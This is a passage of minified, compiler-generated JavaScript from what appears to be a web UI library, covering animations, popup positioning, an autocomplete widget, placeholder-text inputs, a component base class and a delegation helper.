b=0;b<this.pq.length;b++)this.coords[b]=(this.Taa[b]-this.pq[b])*a+this.pq[b]};x.jB=function(){this.Vh(nw)}; x.sZ=function(){this.Vh(Py)};x.Vh=function(a){this.dispatchEvent(new rZ(a,this))};var rZ=function(a,b){L.call(this,a);this.coords=b.coords;this.x=b.coords[0];this.y=b.coords[1];this.z=b.coords[2];this.duration=b.duration;this.progress=b.progress;this.state=b.qa};E(rZ,L);var sZ=function(a,b,d,e,f){qZ.call(this,b,d,e,f);this.element=a};E(sZ,qZ);x=sZ.prototype;x.Bp=y;x.Rf=function(){z(this.Gf)||(this.Gf=YR(this.element));return this.Gf};x.jB=function(){this.Bp();sZ.c.jB.call(this)};x.Dh=function(){this.Bp();sZ.c.Dh.call(this)};x.yh=function(){this.Bp();sZ.c.yh.call(this)};var tZ=function(a,b,d,e,f){if(2!=b.length||2!=d.length)throw Error("Start and end points must be 2D");sZ.apply(this,arguments)};E(tZ,sZ); tZ.prototype.Bp=function(){var a=this.fq&&this.Rf()?aI:oD;this.element.style[a]=Math.round(this.coords[0])+rH;this.element.style.top=Math.round(this.coords[1])+rH};var uZ=function(a,b,d,e,f){QL(b)&&(b=[b]);QL(d)&&(d=[d]);sZ.call(this,a,b,d,e,f);if(1!=b.length||1!=d.length)throw Error("Start and end points must be 1D");};E(uZ,sZ);uZ.prototype.Bp=function(){kS(this.element,this.coords[0])};uZ.prototype.show=function(){this.element.style.display=c}; uZ.prototype.hide=function(){this.element.style.display=JF};var vZ=function(a,b,d){uZ.call(this,a,1,0,b,d)};E(vZ,uZ);var wZ=function(a,b,d){uZ.call(this,a,0,1,b,d)};E(wZ,uZ);var xZ=function(a,b,d){uZ.call(this,a,1,0,b,d)};E(xZ,uZ);xZ.prototype.yh=function(){this.show();xZ.c.yh.call(this)};xZ.prototype.Dh=function(){this.hide();xZ.c.Dh.call(this)};var yZ=function(a,b,d){uZ.call(this,a,0,1,b,d)};E(yZ,uZ);yZ.prototype.yh=function(){this.show();yZ.c.yh.call(this)};var CZ=function(a,b,d,e,f,g,k,p,q){H(d);var t=zZ(d),B=iS(a),F=ZR(a);F&&B.jO(new KR(F.left,F.top,F.right-F.left,F.bottom-F.top));var F=MP(a),X=MP(d);if(F.aa!=X.aa){var R=F.aa.body,X=X.Pc(),Va=new yP(0,0),Kb=TP(LP(R)),od=R;do{var va=Kb==X?XR(od):eS(H(od));Va.x+=va.x;Va.y+=va.y}while(Kb&&Kb!=X&&(od=Kb.frameElement)&&(Kb=Kb.parent));R=zP(Va,XR(R));J&&!F.DD()&&(R=zP(R,F.oi()));B.left+=R.x;B.top+=R.y}a=AZ(a,b);B=new yP(a&2?B.left+B.width:B.left,a&1?B.top+B.height:B.top);B=zP(B,t);f&&(B.x+=(a&2?-1:1)*f.x, B.y+=(a&1?-1:1)*f.y);var za;if(k)if(q)za=q;else if(za=ZR(d))za.top-=t.y,za.right-=t.x,za.bottom-=t.y,za.left-=t.x;return BZ(B,d,e,g,za,k,p)},zZ=function(a){var b;if(a=a.offsetParent){var d=a.tagName==co||a.tagName==ji;d&&QR(a)==ZI||(b=XR(a),d||(d=(d=YR(a))&&DN?-a.scrollLeft:!d||J&&SN(hf)||PR(a,pG)==RK?a.scrollLeft:a.scrollWidth-a.clientWidth-a.scrollLeft,b=zP(b,new yP(d,a.scrollTop))))}return b||new yP},BZ=function(a,b,d,e,f,g,k){a=a.clone();var p=0,q=AZ(b,d);d=hS(b);k=k?k.clone():d.clone();if(e|| 0!=q)q&2?a.x-=k.width+(e?e.right:0):e&&(a.x+=e.left),q&1?a.y-=k.height+(e?e.bottom:0):e&&(a.y+=e.top);if(g&&(f?(p=a,e=0,65==(g&65)&&(p.x<f.left||p.x>=f.right)&&(g&=-2),132==(g&132)&&(p.y<f.top||p.y>=f.bottom)&&(g&=-5),p.x<f.left&&g&1&&(p.x=f.left,e|=1),p.x<f.left&&p.x+k.width>f.right&&g&16&&(k.width=Math.max(k.width-(p.x+k.width-f.right),0),e|=4),p.x+k.width>f.right&&g&1&&(p.x=Math.max(f.right-k.width,f.left),e|=1),g&2&&(e=e|(p.x<f.left?16:0)|(p.x+k.width>f.right?32:0)),p.y<f.top&&g&4&&(p.y=f.top, e|=2),p.y<=f.top&&p.y+k.height<f.bottom&&g&32&&(k.height=Math.max(k.height-(f.top-p.y),0),p.y=f.top,e|=8),p.y>=f.top&&p.y+k.height>f.bottom&&g&32&&(k.height=Math.max(k.height-(p.y+k.height-f.bottom),0),e|=8),p.y+k.height>f.bottom&&g&4&&(p.y=Math.max(f.bottom-k.height,f.top),e|=2),g&8&&(e=e|(p.y<f.top?64:0)|(p.y+k.height>f.bottom?128:0)),p=e):p=256,p&496))return p;SR(b,a);BP(d,k)||(f=MP(LP(b)).DD(),!J||f&&SN(hf)?(b=b.style,DN?b.MozBoxSizing=Zw:EN?b.WebkitBoxSizing=Zw:b.boxSizing=Zw,b.width=Math.max(k.width, 0)+rH,b.height=Math.max(k.height,0)+rH):(a=b.style,f?(f=qS(b),b=$R(b),a.pixelWidth=k.width-b.left-f.left-f.right-b.right,a.pixelHeight=k.height-b.top-f.top-f.bottom-b.bottom):(a.pixelWidth=k.width,a.pixelHeight=k.height)));return p},AZ=function(a,b){return(b&4&&YR(a)?b^2:b)&-5};var DZ=function(a,b,d,e){N.call(this);this.Ia=a||document.body;this.cb=MP(this.Ia);this.Gg=!a;this.N=null;this.me=c;this.gb=[];this.Zj=[];this.dL=this.Bt=-1;this.Va=!1;this.className=Uv;this.Ez=Wv;this.cL=$v;this.bL=Sv;this.o0=Tv;this.Xl=b||null;this.gY=null!=e?e:!0;this.p0=!0;this.Et=!1;this.z0=!!d;this.nt=!1;this.Ct=0;this.yJ=!1};E(DZ,N);x=DZ.prototype;x.b=function(){return this.N};x.oda=function(a){this.Et=a};x.wl=function(a){this.Oh=a}; x.gp=function(a,b,d){this.me=b;this.gb=a;this.Bt=-1;this.dL=D();this.Bc=d;this.Zj=[];this.t6()};x.Je=function(){this.Bc&&XY(this.Bc,null);this.Va&&(this.Va=!1,this.Bc&&WY(this.Bc,SB,!1),0<this.Ct?(K(this.Yf),this.Yf=new xZ(this.N,this.Ct),this.Yf.play()):U(this.N,!1))};x.show=function(){this.Va||(this.Va=!0,this.Bc&&(UY(this.Bc,Xx),WY(this.Bc,Hw,uD),WY(this.Bc,SB,!0)),0<this.Ct?(K(this.Yf),this.Yf=new yZ(this.N,this.Ct),this.Yf.play()):U(this.N,!0))};x.ra=function(){return this.Va}; x.jQ=function(a){var b=0<=a&&a<this.gb.length?this.gb[a]:void 0,d=0<=a&&a<this.Zj.length?this.Zj[a]:void 0;this.dispatchEvent({type:gI,jia:d,row:b?b.data:null})&&(this.w3(),this.Bt=a,d&&(XT(d,[this.bL,this.cL]),this.Bc&&XY(this.Bc,d),aS(d,this.N)))};x.w3=function(){0<=this.Bt&&ZT(this.Zj[this.Bt],[this.bL,this.cL])};x.Kh=function(a){if(-1==a)this.jQ(-1);else for(var b=0;b<this.gb.length;b++)if(this.gb[b].id==a){this.jQ(b);break}};x.p_=function(a){XT(a,hM(this.className).split(fa))}; x.S1=function(){if(!this.N){var a=this.cb.C(s,{style:$y});this.yJ&&(a.style.overflowY=Fw);this.N=a;this.p_(a);UY(a,vD);a.id=KT.Ja().Sj();this.cb.appendChild(this.Ia,a);CO(a,Rx,this.ij,!1,this);CO(a,nE,this.Sk,!1,this);CO(a,qE,this.uI,!1,this)}}; x.t6=function(){this.S1();this.nt&&(this.N.style.visibility=WB);this.U1&&(this.N.style.minWidth=this.U1.clientWidth+rH);this.Zj.length=0;this.cb.zx(this.N);if(this.Xl&&this.Xl.render)this.Xl.render(this,this.N,this.gb,this.me);else{var a=null;I(this.gb,function(b){b=this.T1(b,this.me);this.nt?this.N.insertBefore(b,a):this.cb.appendChild(this.N,b);a=b},this)}0==this.gb.length?this.Je():(this.show(),this.qb(),mS(this.N,!0))};x.O3=function(){var a=this.z0?3:1;this.nt&&(a^=1);return a}; x.qb=function(){if(this.Bc&&this.Gg){var a=this.Oh||this.Bc,b=this.O3(),d=65;this.yJ&&(this.N.style.height=c,d|=32);CZ(a,b,this.N,b^1,null,null,d);this.nt&&(this.N.style.visibility=RK)}};x.nda=function(a){this.Gg=a};x.A=function(){this.N&&(JO(this.N,Rx,this.ij,!1,this),JO(this.N,nE,this.Sk,!1,this),JO(this.N,qE,this.uI,!1,this),this.cb.removeNode(this.N),this.N=null,this.Va=!1);K(this.Yf);this.Ia=null;DZ.c.A.call(this)};x.V1=function(a,b,d){d.innerHTML=rM(a.data.toString())}; x.wB=function(a,b){if(3==a.nodeType){var d=null;OL(b)&&1<b.length&&!this.Et&&(d=iN(b,1));var e=this.s9(b);if(0!=e.length){for(var f=a.nodeValue,g=this.p0?RegExp(qv+e+Dc,hB):RegExp(e,hB),e=[],k=0,p=g.exec(f),q=0;p;)q++,e.push(f.substring(k,p.index)),e.push(f.substring(p.index,g.lastIndex)),k=g.lastIndex,p=g.exec(f);e.push(f.substring(k));if(1<e.length){d=this.Et?q:1;for(f=0;f<d;f++)g=2*f,a.nodeValue=e[g],k=this.cb.createElement(Lw),k.className=this.o0,this.cb.appendChild(k,this.cb.createTextNode(e[g+ 1])),k=a.parentNode.insertBefore(k,a.nextSibling),a.parentNode.insertBefore(this.cb.createTextNode(c),k.nextSibling),a=k.nextSibling;e=iN(e,2*d);a.nodeValue=e.join(c)}else d&&this.wB(a,d)}}else for(e=a.firstChild;e;)d=e.nextSibling,this.wB(e,b),e=d};x.s9=function(a){var b=c;if(!a)return b;OL(a)&&(a=TM(a,function(a){return!eM(a)}));this.Et?OL(a)?b=UM(a,zM).join(BL):(b=dM(a),b=zM(b),b=b.replace(/ /g,BL)):OL(a)?b=0<a.length?zM(a[0]):c:/^\W/.test(a)||(b=zM(a));return b}; x.T1=function(a,b){var d=this.cb.C(s,{className:this.Ez,id:KT.Ja().Sj()});UY(d,kG);this.Xl&&this.Xl.Pn?this.Xl.Pn(a,b,d):this.V1(a,b,d);b&&this.gY&&this.wB(d,b);WT(d,this.Ez);this.Zj.push(d);return d};x.aQ=function(a){for(;a&&a!=this.N&&!VT(a,this.Ez);)a=a.parentNode;return a?RM(this.Zj,a):-1};x.ij=function(a){var b=this.aQ(a.target);0<=b&&this.dispatchEvent({type:xI,row:this.gb[b].id});a.stopPropagation()};x.Sk=function(a){a.stopPropagation();a.preventDefault()}; x.uI=function(a){a=this.aQ(a.target);0<=a&&!(300>D()-this.dL)&&this.dispatchEvent({type:ZB,row:this.gb[a].id})};var EZ=function(a,b,d,e,f,g,k,p,q,t){g=g||this.B8();b=this.C8(b,k,q,t);QY.call(this,this,b,g);this.vc=this.Pl;this.vc.z8(this);this.zs=a;this.C4=d;this.oC=e||null;this.H8(f||15);this.nX=!!p};E(EZ,QY); var FZ=function(a,b,d,e,f,g,k,p,q,t,B,F,X,R){e&&(b=b+e+se);b=FR(b);var Va=!!e;e=Va?new gY:new bY;B?(B=F||PY(),X=new SX(B,void 0,yh,R?Qy:FK,X)):X=new JY;R=new NY(X);b=b||new wR(De);R.Ht(b,lr);e.mk(R,!0);Va&&(k=new wY(X,null,k),k.Ht(b,om),e.mk(k,!0));g&&e.Xc(uX,y);d=new EZ(e,d,void 0,q,f,p,t,!0);d.UE(A(a)?document.getElementById(a):a);return d};x=EZ.prototype;x.A=function(){this.vc.Q();this.zs&&this.nX&&K(this.zs);EZ.c.A.call(this)};x.Fda=!1;x.vc=null;x.fO=!0;x.Z5=!1;x.MV=function(a){this.fO=a}; x.wu=function(a){return!!a.Gla};x.X9=function(a,b,d){this.b6({Vb:a,sd:b,bu:!0,bm:this.fO,a6:1,KM:sX,ht:this.C4,filter:this.oC,Ds:!0,OB:!!this.zia,o3:this.Z5},C(this.Y5,this,d))};x.Y5=function(a,b,d,e,f){a(f.Vb,b)};x.b6=function(a,b){if(a.Vb&&a.Vb!=c)this.zs&&(this.eE&&(this.eE.cancel(),this.eE=null),this.QA(ii),this.eE=this.zs.Xc(a,b));else{var d=new aY,e=[];this.oC&&(e=this.oC(e,a.Vb));e=YL(b,e,d,null,a);d.A7(e)}}; x.C8=function(a,b,d,e){b=new DZ(b||null,d||this,e);b.nda(!0);b.className=a;b.oda(!0);return b};x.B8=function(){return new hZ(Pc,Na)};x.gp=function(a,b){EZ.c.gp.call(this,a,b);this.QA(Bi)};x.Je=function(){EZ.c.Je.call(this);this.QA(vm)};x.Pn=function(a,b,d){b=c;a=a={Eq:a.data.text,Mba:!!(a.data.qv&1)};b=zg+(a.Mba?ua:c)+Ab+V(a.Eq)+Bf;d.innerHTML=b};x.Zl=function(){var a=this.Wo(this.vh);return-1!=a&&(a=this.gb[a],a.qt)?(a.qt(),!0):EZ.c.Zl.call(this)}; x.QA=function(a){this.Fda&&(a=new L(a),H(hO(this),dl),this.dispatchEvent(a))};KL("createAutoComplete",FZ,void 0);var GZ=function(a,b,d,e,f){this.ZD=a;this.$D=b;this.b7=d;this.ha=e||null;this.$j=f||null};x=GZ.prototype;x.La=function(){return this.ZD};x.Wc=function(){return this.$D};x.v=function(){return this.ha};x.getName=function(){return this.b7};x.toString=function(){return this.Wc()};var IZ=function(a){N.call(this);this.cb=a||MP();this.Gf=HZ};E(IZ,N);IZ.prototype.dE=KT.Ja();var HZ=null,JZ=function(a,b){switch(a){case 1:return b?Vy:Mz;case 2:return b?YB:nK;case 4:return b?Zv:Ky;case 8:return b?xI:qK;case 16:return b?Jx:lK;case 32:return b?OA:Ww;case 64:return b?jG:Ux}throw Error("Invalid component state");};x=IZ.prototype;x.ha=null;x.bd=!1;x.N=null;x.Gf=null;x.Wg=null;x.Ia=null;x.Ga=null;x.ef=null;x.TH=!1;x.v=function(){return this.ha||(this.ha=this.dE.Sj())}; x.kc=function(a){this.Ia&&this.Ia.ef&&(oO(this.Ia.ef,this.ha),pO(this.Ia.ef,a,this));this.ha=a};x.b=function(){return this.N};x.hy=function(){var a=this.N;H(a,cl);return a};x.pf=function(a){this.N=a};x.Fr=function(a){return this.N?this.cb.Fr(a,this.N):[]};x.pb=function(a){return this.N?this.cb.pb(a,this.N):null};x.L=function(){this.Qj||(this.Qj=new LQ(this));return this.Qj}; x.wn=function(a){if(this==a)throw Error(ju);if(a&&this.Ia&&this.ha&&this.Ia.Xf(this.ha)&&this.Ia!=a)throw Error(ju);this.Ia=a;IZ.c.Bj.call(this,a)};x.getParent=function(){return this.Ia};x.Bj=function(a){if(this.Ia&&this.Ia!=a)throw Error("Method not supported");IZ.c.Bj.call(this,a)};x.q=function(){return this.cb};x.wa=function(){return this.bd};x.C=function(){this.N=this.cb.createElement(s)};x.render=function(a){this.RH(a)}; x.RH=function(a,b){if(this.bd)throw Error(wl);this.N||this.C();a?a.insertBefore(this.N,b||null):this.cb.aa.body.appendChild(this.N);this.Ia&&!this.Ia.wa()||this.R()};x.Ra=function(a){if(this.bd)throw Error(wl);if(a&&this.Ld(a)){this.TH=!0;var b=LP(a);this.cb&&this.cb.aa==b||(this.cb=MP(a));this.Ca(a);this.R()}else throw Error("Invalid element to decorate");};x.Ld=function(){return!0};x.Ca=function(a){this.N=a};x.R=function(){this.bd=!0;this.$h(function(a){!a.wa()&&a.b()&&a.R()})}; x.oa=function(){this.$h(function(a){a.wa()&&a.oa()});this.Qj&&this.Qj.Na();this.bd=!1};x.A=function(){this.bd&&this.oa();this.Qj&&(this.Qj.Q(),delete this.Qj);this.$h(function(a){a.Q()});!this.TH&&this.N&&aQ(this.N);this.Ia=this.Wg=this.N=this.ef=this.Ga=null;IZ.c.A.call(this)};x.bc=function(a){return this.v()+ne+a};x.$k=function(a){this.Wg=a};x.HN=function(a){if(!this.bd)throw Error("Operation not supported while component is not in document");return this.cb.b(this.bc(a))}; x.ta=function(a,b){this.mm(a,this.ii(),b)}; x.mm=function(a,b,d){H(!!a,Sr);if(a.bd&&(d||!this.bd))throw Error(wl);if(0>b||b>this.ii())throw Error("Child component index out of bounds");this.ef&&this.Ga||(this.ef={},this.Ga=[]);if(a.getParent()==this){var e=a.v();this.ef[e]=a;dN(this.Ga,a)}else pO(this.ef,a.v(),a);a.wn(this);jN(this.Ga,b,0,a);a.bd&&this.bd&&a.getParent()==this?(d=this.Ua(),d.insertBefore(a.b(),d.childNodes[b]||null)):d?(this.N||this.C(),b=this.Fb(b+1),a.RH(this.Ua(),b?b.N:null)):this.bd&&!a.bd&&a.N&&a.N.parentNode&&1==a.N.parentNode.nodeType&& a.R()};x.Ua=function(){return this.N};x.Rf=function(){null==this.Gf&&(this.Gf=YR(this.bd?this.N:this.cb.aa.body));return this.Gf};x.Ll=function(a){if(this.bd)throw Error(wl);this.Gf=a};x.vca=function(){return!!this.Ga&&0!=this.Ga.length};x.ii=function(){return this.Ga?this.Ga.length:0};x.Xf=function(a){if(this.ef&&a){var b=this.ef;a=(a in b?b[a]:void 0)||null}else a=null;return a};x.Fb=function(a){return this.Ga?this.Ga[a]||null:null};x.$h=function(a,b){this.Ga&&I(this.Ga,a,b)}; x.Fl=function(a){return this.Ga&&a?RM(this.Ga,a):-1};x.removeChild=function(a,b){if(a){var d=A(a)?a:a.v();a=this.Xf(d);d&&a&&(oO(this.ef,d),dN(this.Ga,a),b&&(a.oa(),a.N&&aQ(a.N)),a.wn(null))}if(!a)throw Error("Child is not in parent component");return a};x.vq=function(a,b){return this.removeChild(this.Fb(a),b)};x.zx=function(a){for(var b=[];this.vca();)b.push(this.vq(0,a));return b};var KZ=function(a,b){IZ.call(this,b);this.fe=a||c};E(KZ,IZ);KZ.prototype.hg=null;KZ.prototype.WY=10;var LZ="placeholder"in document.createElement(BC);x=KZ.prototype;x.$n=!1;x.C=function(){this.pf(this.q().C(BC,{type:wJ}))};x.Ca=function(a){KZ.c.Ca.call(this,a);this.fe||(this.fe=a.getAttribute(gD)||c);rQ(LP(a))==a&&(this.$n=!0,a=this.b(),H(a),YT(a,this.xo));LZ?this.b().placeholder=this.fe:(a=this.b(),H(a,Mt),WY(a,gD,this.fe))};x.R=function(){KZ.c.R.call(this);this.wV();this.qi();this.b().Xb=this}; x.oa=function(){KZ.c.oa.call(this);this.dI();this.b().Xb=null};x.wV=function(){var a=new LQ(this);a.j(this.b(),OA,this.Vx);a.j(this.b(),Ww,this.rW);if(LZ)this.fa=a;else{DN&&a.j(this.b(),[bD,aD,cD],this.sW);var b=LP(this.b());a.j(TP(b),yD,this.tW);this.fa=a;this.NI()}};x.NI=function(){!this.HW&&this.fa&&this.b().form&&(this.fa.j(this.b().form,dJ,this.IW),this.HW=!0)};x.dI=function(){this.fa&&(this.fa.Q(),this.fa=null)};x.A=function(){KZ.c.A.call(this);this.dI()};x.xo="label-input-label"; x.Vx=function(){this.$n=!0;var a=this.b();H(a);YT(a,this.xo);if(!LZ&&!this.Ei()&&!this.Az){var b=this,a=function(){b.b()&&(b.b().value=c)};J?OQ(a,10):a()}};x.rW=function(){LZ||(this.fa.$(this.b(),Rx,this.Vx),this.hg=null);this.$n=!1;this.qi()};x.sW=function(a){27==a.keyCode&&(a.type==aD?this.hg=this.b().value:a.type==bD?this.b().value=this.hg:a.type==cD&&(this.hg=null),a.preventDefault())};x.IW=function(){this.Ei()||(this.b().value=c,OQ(this.LZ,10,this))}; x.LZ=function(){this.Ei()||(this.b().value=this.fe)};x.tW=function(){this.qi()};x.Ei=function(){return!!this.b()&&this.b().value!=c&&this.b().value!=this.fe};x.clear=function(){this.b().value=c;null!=this.hg&&(this.hg=c)};x.reset=function(){this.Ei()&&(this.clear(),this.qi())};x.Dc=function(a){null!=this.hg&&(this.hg=a);this.b().value=a;this.qi()};x.D=function(){return null!=this.hg?this.hg:this.Ei()?this.b().value:c}; x.qi=function(){var a=this.b();H(a,Mt);LZ?this.b().placeholder!=this.fe&&(this.b().placeholder=this.fe):(this.NI(),WY(a,gD,this.fe));this.Ei()?(a=this.b(),H(a),YT(a,this.xo)):(this.Az||this.$n||(a=this.b(),H(a),WT(a,this.xo)),LZ||OQ(this.XY,this.WY,this))};x.Caa=function(){var a=this.Ei();this.Az=!0;this.b().focus();a||LZ||(this.b().value=this.fe);this.b().select();LZ||(this.fa&&this.fa.Qc(this.b(),Rx,this.Vx),OQ(this.mY,10,this))}; x.Gb=function(a){this.b().disabled=!a;var b=this.b();H(b);var d=this.xo+ud;a?YT(b,d):WT(b,d)};x.isEnabled=function(){return!this.b().disabled};x.mY=function(){this.Az=!1};x.XY=function(){!this.b()||this.Ei()||this.$n||(this.b().value=this.fe)};var MZ=function(a){IZ.call(this,a);this.Xb=new KZ(du,a);this.ta(this.Xb)},NZ;E(MZ,IZ);MZ.prototype.LV=function(a){this.eb=a};var OZ=function(a){NZ=a};x=MZ.prototype; x.Ca=function(a){MZ.c.Ca.call(this,a);a=this.q();M(this.b(),gF);var b=a.C(s,{"class":CC}),d=a.C(BC,{type:wJ,maxlength:Ue,size:Ze,"class":hF});DN&&(d.style.MozUserSelect=wJ);a.appendChild(b,d);a.appendChild(this.b(),b);var e=a.C(s,{"class":VB}),f=a.C(s);a.appendChild(e,f);a.Wb(f,Hr);NZ&&(f=NZ,A(f)&&(f=a.C(s,null,f)),f.className=lE,a.appendChild(e,f));a.appendChild(b,e);this.Xb.Ra(d)};x.R=function(){MZ.c.R.call(this);this.clear()};x.oa=function(){this.Xb.b()&&this.Xb.Dc(c);MZ.c.oa.call(this)}; x.A=function(){K(this.eb);MZ.c.A.call(this)};x.KJ=function(){OQ(function(){try{this.Xb.Caa()}catch(a){}},10,this)};x.setVisible=function(a){a||this.eb.Je();U(this.b(),a)};x.Gb=function(a){var b=this.Xb.b();a?(this.Xb.wa()||this.Xb.R(),b.removeAttribute(Wy)):(this.Xb.wa()&&this.Xb.oa(),b.setAttribute(Wy,Wy))};x.clear=function(){this.Xb.b()&&this.Xb.Dc(c)};var PZ=function(a,b,d){this.ZD=b||c;this.$D=a||c;this.ha=d||c};E(PZ,ZU);x=PZ.prototype;x.La=function(){return this.ZD};x.Wc=function(){return this.$D};x.v=function(){return this.ha};x.getName=function(){return this.Wc()};x.Nv=function(){return 0};x.Qa=function(){return null};x.JA=function(){return this.ha==c};x.toString=function(){return this.Wc()};var QZ=function(a,b,d){this.NQ=a;this.aba=b;this.dq=d};QZ.prototype.Ab=function(){return this.NQ||!!this.dq};var SZ=function(a,b,d){MZ.call(this,b);this.zV=z(d)?d:Ae;this.wh=a;this.vc=new RZ(C(this.G9,this));this.Rn=[]};E(SZ,MZ);x=SZ.prototype;x.C=function(){SZ.c.C.call(this);this.Ca(this.b())};x.Ca=function(a){SZ.c.Ca.call(this,a);a=FZ(this.Xb.b(),this.zV,Vv,void 0,void 0,!0,void 0,this.vc,C(this.JV,this),this.b());a.MV(!1);a.Pn=C(this.Pn,this);this.LV(a)};x.R=function(){SZ.c.R.call(this);this.vc.BH(this.Xb.b());this.L().j(this.Xb.b(),Ww,C(this.HG,this,null)).j(this.b(),nE,this.Sk)}; x.oa=function(){var a=this.Xb.b();a&&this.vc.KV(a);this.Rn=null;SZ.c.oa.call(this)};x.Sk=function(a){a.stopPropagation();this.KJ();a.target!=this.Xb.b()&&(this.cK=!0)};x.G9=function(a){var b=null;a&&(b=new QZ(a.JA(),a.JA()?this.Xb.D():null,a.JA()?null:new GZ(a.La()||c,a.Wc()||c,a.getName()||c,a.v()||c)));this.HG(b)};x.HG=function(a){this.ZQ||this.cK?this.cK=!1:(this.ZQ=!0,this.clear(),a&&this.wh(a),this.ZQ=!1)}; x.JV=function(a,b){var d=[];if(b)for(var e=zM(b),f=RegExp(zc+e,oC),e=RegExp(Av+e,oC),g=0;g<this.Rn.length;g++)(this.Rn[g].Wc().match(f)||this.Rn[g].La().match(e))&&d.push(this.Rn[g]);for(g=0;g<a.length;g++)a[g].v()&&d.push(new PZ(a[g].getName(),a[g].La(),a[g].v()));f=!1;b&&1==d.length&&(f=RegExp(Bv+b+sv,oC),f=f.test(d[0].getName())||f.test(d[0].La()));f||d.push(new PZ(b));return d}; x.Pn=function(a,b,d){var e=a.data,f=c;e.v()?(b=rM(e.La()),(e=rM(e.Wc()))&&(f+=Na+e+Na),e&&b&&(f+=fa),b&&(f+=hc+b+fc)):f=Na+rM(b)+Pa;d.innerHTML=Lg+f+Pf;M(d,fF);d.id=rF+VL(a)};var RZ=function(a){hZ.call(this,null,null,!1);this.U0=a};E(RZ,hZ);RZ.prototype.LA=function(a){RZ.c.LA.call(this,a);this.U0(a);return!1};var TZ=function(a,b,d,e,f){N.call(this);H(!(0<f&&!e),uu);this.DN=a&&a.toString()?V(a):null;this.Re=d||6E4;this.Kd=b||0;this.h6=V(e||c);this.hN=f||-1};E(TZ,N);var UZ=function(a,b,d,e,f){return new TZ(a,b,d,e,f)};TZ.prototype.oZ=!0;TZ.prototype.Qa=function(){return this.Kd};TZ.prototype.Uz=function(){};TZ.prototype.Np=function(a){this.Uz=a};var VZ=function(a,b){this.content=V(a);A(b)?(this.id=b,0!=this.id.lastIndexOf(tD,0)&&(this.id=tD+this.id)):this.uri=b};var WZ=function(a){OT.call(this,a);this.dt=null};E(WZ,uU);WZ.prototype.Ml=function(a){if(a)this.Dp(a)&&this.jb(a);else{a=this.Dp(u);var b=this.Dp(jL);a&&b?this.jb():a?this.jb(u):b&&this.jb(jL)}};WZ.prototype.R=function(){WZ.c.R.call(this);this.gf&&(this.dt=C(this.Zr,this),this.gf.o_(this.dt))};WZ.prototype.oa=function(){WZ.c.oa.call(this);this.gf&&(this.gf.a0(this.dt),this.dt=null)};WZ.prototype.Zr=function(){this.Ml()};var XZ=function(a,b){WZ.call(this,a);this.tj=b};E(XZ,WZ);x=XZ.prototype;x.Un=function(a){a=a.tj;if(!a)return 0;var b=a.b();a=b.style;var d=a.position,e=a.width;a.position=Pv;a.width=c;b=b.offsetWidth;a.position=d;a.width=e;return b};x.ya=function(){XZ.c.ya.call(this);var a=this.tj;a.An();var b=a.b();this.Wq=b;this.fl=b.style;this.q().appendChild(this.N,b);this.rr(a)};x.A=function(){!this.pJ()&&this.tj&&this.tj.Q();this.fl=this.Wq=this.tj=this.Un=null;XZ.c.A.call(this)}; x.detach=function(){return this.tj?(this.Sl(0),this.zt=this.At=this.fl=this.Wq=this.tj=null,this.Ml(),!0):!1};x.CK=function(a){this.Wq&&(a==u?-1!=this.At&&(this.At=-1,this.fl.width=c):-1!=this.zt&&(this.zt=-1,this.fl.height=c))};x.zq=function(a){return a==jL};x.rm=function(a){this.fp(a);this.CK(a)};x.ip=function(a){var b=this.b();if(!b)return 0;if(a==u)return this.Un(this);this.CK(a);return b.clientHeight}; x.Vc=function(a,b,d){a==u?(-1!=b||d?XZ.c.Vc.call(this,a,b,d):XZ.c.Vc.call(this,a,this.fg(a),!1),this.Ml(jL)):XZ.c.Vc.call(this,a,-1,d);this.Wq&&(a==u?-1!=this.At&&(this.At=-1,this.fl.width=AU(-1)):(a=-1==b?-1:b,this.zt!=a&&(this.zt=a,this.fl.height=AU(a))))};var YZ=function(){return dT(Eg)};YZ.yb="fava.component.roundedbox.roundedBoxWidgetTemplate";var ZZ=function(a,b){OT.call(this,a);this.zda(b)};E(ZZ,OT);ZZ.prototype.ED=function(){this.JK||(this.JK=this.b().firstChild.childNodes[1]);return this.JK};ZZ.prototype.cZ=function(a){this.SR||a||(this.SR=new XZ(this.getContext(),this));return this.SR};ZZ.prototype.zda=function(a){var b=this.b();this.Ts(a);YS(b,YZ);WT(b,Qk)};ZZ.prototype.Ts=function(a){var b=this.b();if(this.qA){if(this.qA!=a){var d=this.qA;VT(b,d)&&(YT(b,d),WT(b,a))}}else WT(b,a);this.qA=a};var $Z=function(){},a_=function(a,b){a.c?H(a.prototype instanceof $Z,Ny):E(a,$Z);H(!b.Gh,Oy);b.Gh=a;var d=b;do d=d.c&&d.c.constructor;while(d&&!d.Gh);if(d&&d.Gh!==a.c.constructor)throw Error("delegate base must derive from superclass delegate base");},d_=function(a){function b(a){arguments.callee.c.constructor.call(this,a);var b=this.lg.length;this.Df=[];for(var d=0;d<b;++d)this.lg[d].fia||(this.Df[d]=new this.lg[d](a))}var d=a.Gh;E(b,d);for(var e=[];a;){if(d=a.Gh){d.lg&&hN(e,d.lg);var d=d.prototype, f;for(f in d)if(d.hasOwnProperty(f)&&RL(d[f])&&d[f]!==a){var g=!!d[f].E0,k=b_(f,d,e,g);(g=c_(f,d,k,g))&&(b.prototype[f]=g)}}a=a.c&&a.c.constructor}b.prototype.lg=e;return b},b_=function(a,b,d,e){for(var f=[],g=0;g<d.length&&(d[g].prototype[a]===b[a]||(f.push(g),!e));++g);return f},c_=function(a,b,d,e){return d.length?e?function(b){var e=this.Df[d[0]];return e?e[a].apply(this.Df[d[0]],arguments):this.lg[d[0]].prototype[a].apply(this,arguments)}:b[a].B9?function(b){return this.E9(a,d,Array.prototype.slice.call(arguments, 0))}:b[a].A9?function(b){return this.D9(a,d,Array.prototype.slice.call(arguments,0))}:b[a].WE?function(b){return this.C9(a,d,Array.prototype.slice.call(arguments,0))}:function(b){return this.delegate(a,d,Array.prototype.slice.call(arguments,0))}:e||b[a].B9||b[a].A9||b[a].WE?null:e_},e_=function(){return[]};x=$Z.prototype;x.delegate=function(a,b,d){for(var e=[],f=0;f<b.length;++f){var g=this.Df[b[f]];e.push(g?g[a].apply(g,d):this.lg[b[f]].prototype[a].apply(this,d))}return e}; x.C9=function(a,b,d){for(var e=0;e<b.length;++e){var f=this.Df[b[e]];f?f[a].apply(f,d):this.lg[b[e]].prototype[a].apply(this,d)}};x.E9=function(a,b,d){for(var e=0;e<b.length;++e){var f=this.Df[b[e]];if(f=f?f[a].apply(f,d):this.lg[b[e]].prototype[a].apply(this,d))return f}return!1};x.D9=function(a,b,d){for(var e=0;e<b.length;++e){var 